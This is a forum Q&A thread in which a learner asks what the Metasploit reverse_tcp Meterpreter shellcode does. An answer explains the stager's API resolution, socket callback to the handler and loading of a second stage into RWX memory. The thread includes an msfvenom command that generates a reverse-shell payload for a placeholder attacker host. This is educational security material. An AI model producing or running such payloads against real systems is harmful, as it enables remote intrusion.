I have just started learning msfconsole and I have used windows/meterpreter/reverse_tcp . I know this establishes a connection from the target system to our attacking system .

However I would like to know that when we generate the payload using msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x and LPORT=xxxx -f c . What does the char Shellcode mentioned there actually do .


Does the shell code have any particular name?

I would like to know what the function of the above Shellcode is and if it has any particular name already assigned to it . I have tried converting to assembly language to understand but no luck.

Would appreciate the guidance.


This is the hex representation of the shell code which when generated in C can be assigned to an array. Once the shell code is assigned to an array, it can be executed directly through either function pointer (works in older Windows but DEP has issues with the function pointer method) or through the standard Windows API.

Coming to the shell code itself, it first uses the famous block API technique where all the important functions within the loaded modules are compared with a set of pre-listed hashes in order to find the base addresses of all the API functions we need. For example, the above shell code first searches of LoadLibrary in kernel32.dll, once it finds it, it uses the LoadLibrary in order to load ws2_32.dll which has all the necessary functions for creating a socket. Using the just created socket, the shell code will attempt a connection to the handler, receive the size of the second stage, and allocate and RWX memory region, store the received second stage in the RWX memory and pass on the control to the second stage.

That is all the above shell code is doing. Take a look at commented assembly code of the reverse_tcp shell code at https://github.com/rapid7/metasploit-framework/blob/0cbfd483ae9291583f8f3bdabe3cf168c5b78991/lib/msf/core/payload/windows/reverse_tcp.rb

  • So basically this shellcode is creating a connection to the handler that we use as an exploit . Then allocating it memory and passing the control on , is that right? if not could you simplify what you have written. Aug 3 '18 at 9:04
  • Yes. That is basically what the stager shell code does.
    – void_in
    Aug 3 '18 at 9:40

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.